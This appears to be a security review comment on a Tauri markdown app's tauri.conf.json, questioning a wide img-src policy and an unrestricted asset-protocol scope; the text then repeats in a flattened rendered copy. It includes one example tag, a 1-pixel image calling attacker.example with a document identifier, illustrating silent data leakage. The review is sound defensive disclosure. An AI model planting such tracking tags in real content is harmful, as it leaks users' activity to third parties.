Two settings in tauri.conf.json that widen what a document can do. Both are deliberate-looking trade-offs, so I'd rather ask than change them.
img-src ... https:
comrak runs with unsafe_ = true, so raw HTML in a document reaches the preview. With https: in img-src, opening a .md from anywhere silently contacts a third party:
<img src="https://attacker.example/pixel?doc=notes" width="1" height="1">
No prompt, no setting, no indication. connect-src 'self' already blocks fetch/XHR, so this is the remaining outbound channel.
Narrowing to 'self' asset: http://asset.localhost blob: data: closes it, but breaks documents that legitimately reference remote images — a real regression for anyone whose notes link to images on the web. The alternative is an explicit "load external images" toggle, which is more work but keeps the feature.
assetProtocol.scope: ["**"]
The webview can read any file through asset://. The static scope has to be wide because a markdown file may reference an image anywhere on disk, and none of Tauri's runtime narrowing APIs are used (asset_protocol_scope, allow_directory, allow_file — zero occurrences).
A narrower policy is imaginable — allow the open document's directory tree, extend on demand — but it is a design, not a patch, and it can break existing documents.
I'm not proposing a change; I'd like to know whether these are settled trade-offs so they can be recorded as such, or whether you'd like either tightened.
Two settings in
tauri.conf.jsonthat widen what a document can do. Both are deliberate-looking trade-offs, so I'd rather ask than change them.img-src ... https:comrak runs with
unsafe_ = true, so raw HTML in a document reaches the preview. Withhttps:inimg-src, opening a.mdfrom anywhere silently contacts a third party:No prompt, no setting, no indication.
connect-src 'self'already blocks fetch/XHR, so this is the remaining outbound channel.Narrowing to
'self' asset: http://asset.localhost blob: data:closes it, but breaks documents that legitimately reference remote images — a real regression for anyone whose notes link to images on the web. The alternative is an explicit "load external images" toggle, which is more work but keeps the feature.assetProtocol.scope: ["**"]The webview can read any file through
asset://. The static scope has to be wide because a markdown file may reference an image anywhere on disk, and none of Tauri's runtime narrowing APIs are used (asset_protocol_scope,allow_directory,allow_file— zero occurrences).A narrower policy is imaginable — allow the open document's directory tree, extend on demand — but it is a design, not a patch, and it can break existing documents.
I'm not proposing a change; I'd like to know whether these are settled trade-offs so they can be recorded as such, or whether you'd like either tightened.